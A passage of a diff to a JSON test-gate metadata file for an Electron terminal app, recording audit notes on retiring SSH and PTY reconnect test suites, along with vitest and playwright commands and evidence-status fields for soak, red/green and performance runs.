and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3368 narrows stream-reconnect coverage to the actual ten synthetic transport epochs retaining one PTY identity, accepting and holding detached input for exactly-once later delivery, current decoded output and per-epoch subscription release. Prior rejection wording was inaccurate. Phase/backoff/cutoff/manual reconnect and parser/OSC/pause/retained-image/fatal/latch/claim/early-close alarms are intentionally lost without equivalent replacement. The Linux multi-pane reconnect receipt remains verbatim with its original scope; no fresh live SSH/provider/PTY/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires whole host-surface-replacement and create-handoff suites, removing their compound unit command tokens, test-file entries and assertion references. Fake polling/deadline/subscription, supplied stale-handle ownership, close and replacement examples are intentionally lost without equivalent replacement. The unrelated Linux paired multi-pane reconnect receipt stays verbatim with its original scope. No fresh SSH/provider/network/PTY recovery, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit3342 retires the complete client create-outcome identity/options/recovery suite and the malformed-or-contradictory repo-owner response matrix. Client replay identity, options, no-downgrade, quiescence/budget/manual retry, authoritative probe-error and malformed-owner refusal alarms are intentionally lost without equivalent replacement. Remaining repo-owner late catalog and old-host re-adoption boundaries do not replace them. The unrelated Linux paired-reconnect receipt stays verbatim with its original scope. Surviving selectors are unexecuted here; no fresh SSH/provider/process-deduplication, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: keeps a sidebar row for every still-live pane after a long sleep — Whole suite: 279 lines manually replay renderer ownership registry/status writes, snapshot patch/set, six-pane fixture inventory, and sidebar selectors/builders; expected pane IDs are production-computed. Does not run sleep/wake/transport or actual sidebar entry. Retires reconnect row-preservation assembly alarm.; still retires the regular TUI surface after an explicit terminal exit — Ordinary explicit-exit callback/map cleanup is repeated in the stale/new stream lifecycle case below. Retires separate regular-TUI baseline; keeper is not equivalent process/UI proof.; asks the HUB to recover an expired SSH pane and rebinds the host identity — Expired SSH owner error must ask the owning HUB to recover, then adopt fixed replacement handle, resubscribe and report rebind; actual transport dispatch and handle state prevent wrong-client recovery.; does not recover a pane whose relay reply was an identity mismatch — Identity mismatch means a different live PTY, so actual transport must surface refusal without recover/create, keeping original identity. Prevents destructive duplicate agent recovery.; fails closed when an older HUB cannot recover an expired SSH pane — Old HUB method_not_found is scripted mock refusal/error echo with no actual skewed host; repeats generic recovery failure propagation. Retires old-host recovery fallback refusal example.; names a held recovery's stopped WSL distro in readable copy, not the raw hold code — Pins exact WSL stopped-distro error prose after mock code; translation/copy assertion with no actual held recovery behavior. Retires readable-copy alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces runtime-environment-ssh-state.test.ts, intentionally losing metadata membership-pruning/new-target-only-read and other-environment/local-bucket isolation alarms. Preserve generation/failed-full-refresh assertion and unknown-target authoritative-list reread; these narrower cases are not equivalent replacements. The unchanged active two-case Linux reconnect materialization/sidebar receipt and covered platform retain their exact scope and do not validate the reduced SSH state selector. Preserve unrelated SSH assertions, selectors and archived history. No fresh SSH discovery, provider/PTY/network, rendered, mobile, mixed-version, cross-platform or full-gate execution is claimed. Audit 3312 retires the ordinary six-pane distinct-live-handle reconnect/resubscription alarm from paired-reconnect-multi-pane-materialization.test.ts. The unchanged parked-pane activation/rematerialization case remains narrower and is not an equivalent replacement. The complete prior seven-contract macOS receipt is archived as historical evidence; it does not validate the reduced selector. No fresh socket, PTY, sleep/wake, provider, platform, mobile, mixed-version or rendered execution is claimed. Audit3096: remove the deleted reconnect-banner selector and its two UI aliases. The reduced recovery-state selector retains only the deadline cancelling pending backoff and explicit retry owning a new epoch alias; healthy-replacement stale-schedule and independent caller-cutoff cancellation aliases retire. Other retained state cases cover reentrant retry, owner settlement and same-epoch parked revival, without replacing those removed alarms. Prior admission-selector retirement, archived July 28 receipt, unrelated selectors/claims/receipts and old gaps remain unchanged; no fresh execution is claimed. Audit3086: retire the destroyed fresh-session fallback settlement/non-destructive reattach alias and its direct selector; retain the detach/attach selector and assertion unchanged. The retained admission cases cover adopt-before-data and explicitly buffered-death admission without a new spawn, without replacing fallback retirement. July 28 evidence was already archived by audit3077; no duplicate retirement or new execution is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/ssh/connection/ssh-connection-manager.test.ts: tears a failed startup down quietly, so its error is not replaced by a disconnect; marks a dial that never reached the host, so setup reports SSH’s reason; removes the registration when bulk teardown fails; leaves a connection whose own reconnect is asking the user alone; clears the pool entry when the closed connection is still the registered one; still reuses a connection that is already up; dials a user's connection test. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2052 (sources2049/2050/2051): Remove complete low-value restored-pane-title and pane-visibility-identity suites and their current selectors. Their supplied snapshot/title and nullable identity-comparison alarms are intentionally lost without replacement. Unrelated dated evidenceRuns remain unchanged and do not validate the reduced commands. No fresh gate execution, actual PTY/provider, rendered, remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the terminal-create idempotency forwarding suite and its prospective selector. Preserve2 unrelated receipts without claiming the lost forwarding alarm was replaced. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete complete transport-unmount and queued-initial-CWD helper suites: despite lifecycle-shaped fixtures, the unmount owner returns a Boolean PTY-id predicate, while CWD cases check nullish field selection and callback counts. Lose their detach/destroy/teardown and one-shot-CWD supplied examples. Partial queued-pane-startup loses three identical/empty/nonowner identity examples, retaining four exact one-shot/replacement ownership callbacks. No assertion object maps to these three sources, so unrelated alias objects remain byte-exact. Preserve the current81ed prior removal of pane-split-startup; stale bd948 source metadata snapshots are not replayed. No actual process/PTY startup, transport shutdown, live SSH or rendered recovery is proven by this metadata change. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Delete the sole supplied public-SSH-state spread/sanitized-error projection and its provider-authority-pair alias. Also delete the complete tiny one-shot split-startup wrapper suite: callback-visible temporary field/reset, sequential payload and thrown-sentinel reset alarms disappear. No SSH provider epoch handoff, connection, process startup or actual terminal split was performed by either deleted suite. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1903 removes whole mocked detach, supplied geometry and/or close-request suites selected by this gate. Their pending-CWD/PTY-binding argument/order, fabricated hit-test and close bookkeeping alarms are intentionally lost without replacement. Valid remaining selectors/assertions and unchanged-selector execution receipts retain their original scope. Reduced unit selections have no fresh broad gate, real PTY/provider, rendered focus, or measured-budget validation. Historical prior account (preserved verbatim): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Deterministic tests cover bounded stale-handle replacement, suspended heartbeat clocks, cold and established subscription failure, ten partition/recovery cycles, automatic-recovery cutoff, manual reconnect, and direct SSH binding retention. They assert SSH state changes leave PTY bindings in place, relay identity survives, and another target/local/WSL/runtime panes remain byte-identical through target snapshot hydration and reconnect. Both remount callbacks consume split-count activity suppression, intentional dispose emits no failure/timeout, and a same-attempt StrictMode remount still owns one timeout. Hydration clears an untrusted PTY hint without clearing its current pending owner, healthy current-authority bindings suppress correction, hydration finalizes once, and reconnect emits no paired close lifecycle. A provider-level session-ID reattach returns an incarnation, then a legacy exit without an incarnation must resolve to that returned identity rather than minting a fallback identity. The shared-control oracle withholds the first encrypted ready frame, starts one RPC, triggers the successful-probe refresh, then requires exactly two client connections, one host request, a successful response, zero pending calls, and zero retained request bytes. Tests also assert one unsubscribe per remote-runtime epoch, observable recovery phases, stable PTY identity, resumed snapshot/output/input, no healthy state before replay, no retry or input after cutoff, a new manual epoch against the same PTY, quiet recovery UI with an explicit Reconnect action, pane-close state cleanup, one stable create mutation id, old-runtime no-retry behavior, cross-process PTY adoption, and bounded in-flight coordination. A focused recovery oracle surfaces two distinct failures through one transport, completes authoritative replay, and requires both matching clear callbacks; pane-state tests require only the active pane's error to render, matching-pane recovery to preserve sibling and unrelated errors, dismissal to re-admit later failures, and distinct storms to retain only the newest eight messages within 24 lines and 4,000 characters. The retained store replacement assertion observes one atomic pane/tab subscriber publication; repeated rotations and snapshot-first pending-restart migration no longer have their direct store examples. Preload layout cleanup retires the mock SSH forwarding/type-census suite without replacement: preload wiring alarms are lost; shared authority-admission tests cover narrower behavior. Historical receipts retain their original scope.", "commands": [ "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts --reporter=dot", "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal/workspace-mounting/background-terminal-worktree-mount.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/store/terminals/pty/terminal-pty-identity-replacement.test.ts", @@ -8835,8 +7790,7 @@ "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts --reporter=dot", "pnpm exec vitest run --config config/vitest.config.ts src/main/ssh/connection/ssh-connection-manager.test.ts src/main/ssh/connection/ssh-connection.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/shared/remote-runtime/ssh/ssh-retained-payload-admission.test.ts --reporter=dot", "pnpm exec electron-vite build --mode e2e", - "pnpm run build:web-from-renderer", - "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" + "pnpm run build:web-from-renderer" ], "testFiles": [ "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts", @@ -8847,7 +7801,6 @@ "src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts", "src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts", "src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts", - "tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts", "src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts", "src/main/ssh/connection/ssh-connection-manager.test.ts", "src/main/ssh/connection/ssh-connection.test.ts", @@ -8914,19 +7867,19 @@ ], "runtimeBudget": { "p95Seconds": 150, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { - "status": "unknown", - "evidence": "Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1301; any retained unchanged-source receipts apply only to their own commands. Historical account: Focused renderer contracts, one current 627-test direct SSH run, and current Docker/Linux reconnect and six-terminal cold-restore journeys pass locally. One pressure run entered reconnect while waiting for its seventh marker; later runs delivered all markers but exposed an independent disappearing-second-file fixture race. The corrected two-reader single-file load passed the complete 4/4 suite while retaining concurrent stream pressure. Live multi-target fanout still needs CI soak history before promotion." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1301; any retained unchanged-source receipts apply only to their own commands. Historical account: Focused renderer contracts, one current 627-test direct SSH run, and current Docker/Linux reconnect and six-terminal cold-restore journeys pass locally. One pressure run entered reconnect while waiting for its seventh marker; later runs delivered all markers but exposed an independent disappearing-second-file fixture race. The corrected two-reader single-file load passed the complete 4/4 suite while retaining concurrent stream pressure. Live multi-target fanout still needs CI soak history before promotion." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1301 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The remote-runtime fault tests failed before the recovery changes by leaving a cold restored subscription detached, reporting connected before authoritative replay, delivering a fatal setup error twice, and allowing an unknown create outcome to spawn again after process-local state was lost. For STA-3107, reverting #11542 in the six-pane multiplex harness leaves exactly one parked pane without a resubscribed handle while its siblings recover; before #12664, the first post-sleep host snapshot erases every stale client-owned sidebar row despite live tabs and host PTYs. The deterministic contracts pass after host activation rematerializes the missing pane and client-written ownership, rather than freshness, controls row retention. On exact pre-fix HEAD 939719443, the split-pane store, fresh-spawn, and reattach oracles failed because the first success removed pending authority and the sibling could not bind; the same three oracles pass after live bindings retain the exact attempt ID. On exact committed HEAD d501f2e96, primary-exit-before-sibling and primary/non-primary split-detach oracles failed because live authority was deleted during the empty gap or transferred to only one resulting tab; all three pass after continuation-gap preservation and two-sided detach projection. On exact committed HEAD d44ea382b with test-only oracles, a pending-only all-null detach deleted the attempt ledger, a sibling mounted after first success committed without its lease, and that sibling could bind after authority rotation; all three pass after pending-only projection and retained-live-lease capture with provider retirement. On exact committed HEAD 9fa84dacf, the production-manager in-progress oracle rejected the fresh authority and the forward-removal barrier delayed stale transport cancellation; both pass after replacement starts cancellation immediately, shares concurrent fresh callers, and waits for teardown before connecting. On exact committed HEAD e5ba9a9e5, overlapping disconnect allowed a replacement connect before forward teardown completed and delayed transport cancellation behind that barrier; disconnect, removal, and terminate now share a target lifecycle barrier, start transport cancellation immediately, retain captured-session identity, and admit the replacement only after cleanup. On exact committed HEAD 9a29e7a81, a rejected forward teardown short-circuited the lifecycle while transport disconnect was pending, removal left its captured relay session alive, same-turn connect escaped admission, and reset remained outside the target barrier; the exact failure oracles pass after both cleanup branches settle, captured sessions always retire, admission is authority-fenced, and reset shares the barrier. On exact committed HEAD 47c7198f2, reset's remaining bespoke forward teardown could still reject after authority rotation but before captured-session retirement; reset now uses the same hardened session teardown and a failed reset remains cleanly retryable. Other direct SSH tests encode red conditions for non-atomic binding clear, cross-target retry, folder omission, duplicate same-authority attempts, hydration overwrite, terminal finalization delayed behind provider work, obsolete-authority pending-spawn adoption, Git lineage namespace mismatch, and snapshot PTY hint promotion without exact-attempt acknowledgement. Existing SSH and stale-handle reattach coverage remains green. Needs WSL, paired-close, and a patched live remote-runtime partition journey before promotion." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Audit1301 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The remote-runtime fault tests failed before the recovery changes by leaving a cold restored subscription detached, reporting connected before authoritative replay, delivering a fatal setup error twice, and allowing an unknown create outcome to spawn again after process-local state was lost. For STA-3107, reverting #11542 in the six-pane multiplex harness leaves exactly one parked pane without a resubscribed handle while its siblings recover; before #12664, the first post-sleep host snapshot erases every stale client-owned sidebar row despite live tabs and host PTYs. The deterministic contracts pass after host activation rematerializes the missing pane and client-written ownership, rather than freshness, controls row retention. On exact pre-fix HEAD 939719443, the split-pane store, fresh-spawn, and reattach oracles failed because the first success removed pending authority and the sibling could not bind; the same three oracles pass after live bindings retain the exact attempt ID. On exact committed HEAD d501f2e96, primary-exit-before-sibling and primary/non-primary split-detach oracles failed because live authority was deleted during the empty gap or transferred to only one resulting tab; all three pass after continuation-gap preservation and two-sided detach projection. On exact committed HEAD d44ea382b with test-only oracles, a pending-only all-null detach deleted the attempt ledger, a sibling mounted after first success committed without its lease, and that sibling could bind after authority rotation; all three pass after pending-only projection and retained-live-lease capture with provider retirement. On exact committed HEAD 9fa84dacf, the production-manager in-progress oracle rejected the fresh authority and the forward-removal barrier delayed stale transport cancellation; both pass after replacement starts cancellation immediately, shares concurrent fresh callers, and waits for teardown before connecting. On exact committed HEAD e5ba9a9e5, overlapping disconnect allowed a replacement connect before forward teardown completed and delayed transport cancellation behind that barrier; disconnect, removal, and terminate now share a target lifecycle barrier, start transport cancellation immediately, retain captured-session identity, and admit the replacement only after cleanup. On exact committed HEAD 9a29e7a81, a rejected forward teardown short-circuited the lifecycle while transport disconnect was pending, removal left its captured relay session alive, same-turn connect escaped admission, and reset remained outside the target barrier; the exact failure oracles pass after both cleanup branches settle, captured sessions always retire, admission is authority-fenced, and reset shares the barrier. On exact committed HEAD 47c7198f2, reset's remaining bespoke forward teardown could still reject after authority rotation but before captured-session retirement; reset now uses the same hardened session teardown and a failed reset remains cleanly retryable. Other direct SSH tests encode red conditions for non-atomic binding clear, cross-target retry, folder omission, duplicate same-authority attempts, hydration overwrite, terminal finalization delayed behind provider work, obsolete-authority pending-spawn adoption, Git lineage namespace mismatch, and snapshot PTY hint promotion without exact-attempt acknowledgement. Existing SSH and stale-handle reattach coverage remains green. Needs WSL, paired-close, and a patched live remote-runtime partition journey before promotion." }, "performanceBudget": { "required": true, - "evidence": "Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Direct SSH terminal invalidation and retry each use one exact-target store publication and execute before provider discovery; another target's five occupied provider slots cannot delay terminal finalization. Each split-pane completion or delayed mount adds constant-time pending/live lease lookups and no provider listing, polling, subprocess, cross-tab scan, or new fanout; two mounted leaves still perform exactly their two existing provider operations. Delayed snapshot placement retains at most one 10-second store subscription and timer per target; supersession and stop abort both immediately, remove the listener, and clear the timer. The scheduler caps locally unsettled detected-worktree work at five with a two-call late-work allowance. Remote-runtime recovery allocates at most one backoff timer and one one-minute deadline per detached pane, then stops all PTY retry work until explicit user action. Each transport suppresses at most eight distinct error strings and emits at most eight clear callbacks on recovery; each live pane retains at most eight messages, and every message and joined display is clipped to 24 lines and 4,000 characters. Explicit split close and pane replacement release their entries. This adds no provider request, polling, subprocess, or terminal-output work. Timers, accepted-snapshot listeners, stale streams, and pane UI entries are released on health, cutoff, rebind, removal, detach, or destroy; ten-cycle tests prove one unsubscribe per epoch. Common terminal input/output paths add only bounded state checks. No live large-terminal-map direct SSH timing is claimed." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Direct SSH terminal invalidation and retry each use one exact-target store publication and execute before provider discovery; another target's five occupied provider slots cannot delay terminal finalization. Each split-pane completion or delayed mount adds constant-time pending/live lease lookups and no provider listing, polling, subprocess, cross-tab scan, or new fanout; two mounted leaves still perform exactly their two existing provider operations. Delayed snapshot placement retains at most one 10-second store subscription and timer per target; supersession and stop abort both immediately, remove the listener, and clear the timer. The scheduler caps locally unsettled detected-worktree work at five with a two-call late-work allowance. Remote-runtime recovery allocates at most one backoff timer and one one-minute deadline per detached pane, then stops all PTY retry work until explicit user action. Each transport suppresses at most eight distinct error strings and emits at most eight clear callbacks on recovery; each live pane retains at most eight messages, and every message and joined display is clipped to 24 lines and 4,000 characters. Explicit split close and pane replacement release their entries. This adds no provider request, polling, subprocess, or terminal-output work. Timers, accepted-snapshot listeners, stale streams, and pane UI entries are released on health, cutoff, rebind, removal, detach, or destroy; ten-cycle tests prove one unsubscribe per epoch. Common terminal input/output paths add only bounded state checks. No live large-terminal-map direct SSH timing is claimed." }, "promotionCriteria": [ "Use deterministic fake providers for failure and unknown-liveness cases.", @@ -9029,7 +7982,10 @@ "Audit5790 exact original complete commands JSON value, preserved verbatim as historical selector metadata; changed selectors have no new validation:\n[\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts --reporter=dot\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/store/terminals/pty/terminal-pty-identity-replacement.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-detach-attach-handoff.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts src/main/runtime/terminal/launch/orca-runtime-terminal-create-idempotency.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/ui/workspace-navigation-history-hydration.test.ts src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts --reporter=dot\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/ssh/connection/ssh-connection-manager.test.ts src/main/ssh/connection/ssh-connection.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts src/shared/remote-runtime/ssh/ssh-retained-payload-admission.test.ts --reporter=dot\",\n \"pnpm exec electron-vite build --mode e2e\",\n \"pnpm run build:web-from-renderer\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]", "Audit5790 exact original complete testFiles JSON value, preserved verbatim as historical selector metadata; changed selectors have no new validation:\n[\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts\",\n \"src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts\",\n \"src/renderer/src/components/terminal-pane/mounting/queued-pane-startup.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-detach-attach-handoff.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts\",\n \"src/renderer/src/store/terminals/pty/terminal-pty-identity-replacement.test.ts\",\n \"src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts\",\n \"src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts\",\n \"src/shared/remote-runtime/control/remote-runtime-shared-control-socket-generation.test.ts\",\n \"src/main/runtime/terminal/launch/orca-runtime-terminal-create-idempotency.test.ts\",\n \"tests/e2e/paired-remote-terminal-materialization-reconnect.spec.ts\",\n \"src/renderer/src/store/slices/ui/workspace-navigation-history-hydration.test.ts\",\n \"src/renderer/src/store/repos/repos-ssh-host-reconciliation.test.ts\",\n \"src/main/ssh/connection/ssh-connection-manager.test.ts\",\n \"src/main/ssh/connection/ssh-connection.test.ts\",\n \"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\n \"src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts\",\n \"src/shared/remote-runtime/ssh/ssh-retained-payload-admission.test.ts\"\n ]", "Audit5790 exact original complete assertionRefs JSON value, preserved verbatim as historical selector metadata; changed selectors have no new validation:\n[\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts\",\n \"assertions\": [\n \"a pane parked while the client slept is authoritatively activated and rematerialized without leaving any pane handle null\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts\",\n \"assertions\": [\n \"ten synthetic partition cycles retain one PTY identity, deliver each held detached input exactly once and release each epoch subscription exactly once; decoded live input/output remains current\"\n ]\n },\n {\n \"file\": \"src/shared/remote-runtime/remote-runtime-socket-liveness.test.ts\",\n \"assertions\": [\n \"a suspended client receives a fresh probe deadline after resume and post-resume activity clears it\"\n ]\n },\n {\n \"file\": \"src/main/runtime/terminal/launch/orca-runtime-terminal-create-idempotency.test.ts\",\n \"assertions\": [\n \"one authenticated client/worktree mutation derives a stable server-owned terminal handle\",\n \"an unknown-outcome retry adopts the same provider PTY after runtime-process restart without rerunning startup\",\n \"retry inventory failure, missing same-worktree identity metadata, or ownership mismatch fails closed without spawning\",\n \"in-flight mutation coordination is bounded and releases capacity after settlement\"\n ]\n },\n {\n \"file\": \"src/main/ssh/connection/ssh-connection-manager.test.ts\",\n \"assertions\": [\n \"disconnect invalidates a pending transport attempt immediately so late rejection or resolution cannot remove the replacement\"\n ]\n },\n {\n \"file\": \"src/main/ssh/connection/ssh-connection.test.ts\",\n \"assertions\": [\n \"late ssh2 ready and startup error events after disconnect cannot resurrect or overwrite disconnected state\"\n ]\n },\n {\n \"file\": \"src/shared/remote-runtime/ssh/ssh-retained-payload-admission.test.ts\",\n \"assertions\": [\n \"retained connection states reject partial or malformed authority\",\n \"only partial compatibility authority can normalize to unknown for bounded direct-SSH reconciliation\",\n \"shared direct SSH authority admission requires bounded identifiers and a non-negative safe generation\"\n ]\n },\n {\n \"file\": \"src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts\",\n \"assertions\": [\n \"partial runtime authority is rejected through the captured subscription callback before environment state receives it\"\n ]\n },\n {\n \"file\": \"src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts\",\n \"assertions\": [\n \"held replies from an old generation cannot replace a newer generation; failed full refresh preserves live state behind queued metadata\",\n \"an unknown target triggers an authoritative list reread\"\n ]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-detach-attach-handoff.test.ts\",\n \"assertions\": [\n \"abandoning an obsolete reattach drops its data, replay, write-unavailable, and exit handlers without killing the durable PTY\"\n ]\n }\n ]", - "Audit5914 retires the whole renderer suite selecting generation-joined hydration, failed full refresh strength and unknown-target authoritative membership re-read. These real narrow alarms are intentionally lost without equivalent replacement. Narrow the compound selector and remove its testFiles entry and direct assertionRef. Remaining selectors/assertions and complete dated evidenceRuns retain only their original scope; no fresh validation of the narrowed command or whole-gate replacement claim. Preserve complete historical narratives and existing knownGaps verbatim." + "Audit5914 retires the whole renderer suite selecting generation-joined hydration, failed full refresh strength and unknown-target authoritative membership re-read. These real narrow alarms are intentionally lost without equivalent replacement. Narrow the compound selector and remove its testFiles entry and direct assertionRef. Remaining selectors/assertions and complete dated evidenceRuns retain only their original scope; no fresh validation of the narrowed command or whole-gate replacement claim. Preserve complete historical narratives and existing knownGaps verbatim.", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/paired-reconnect-multi-pane-materialization.test.ts --reporter=dot\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal/workspace-mounting/background-terminal-worktree-mount.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/store/terminals/pty/terminal-pty-identity-replacement.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts 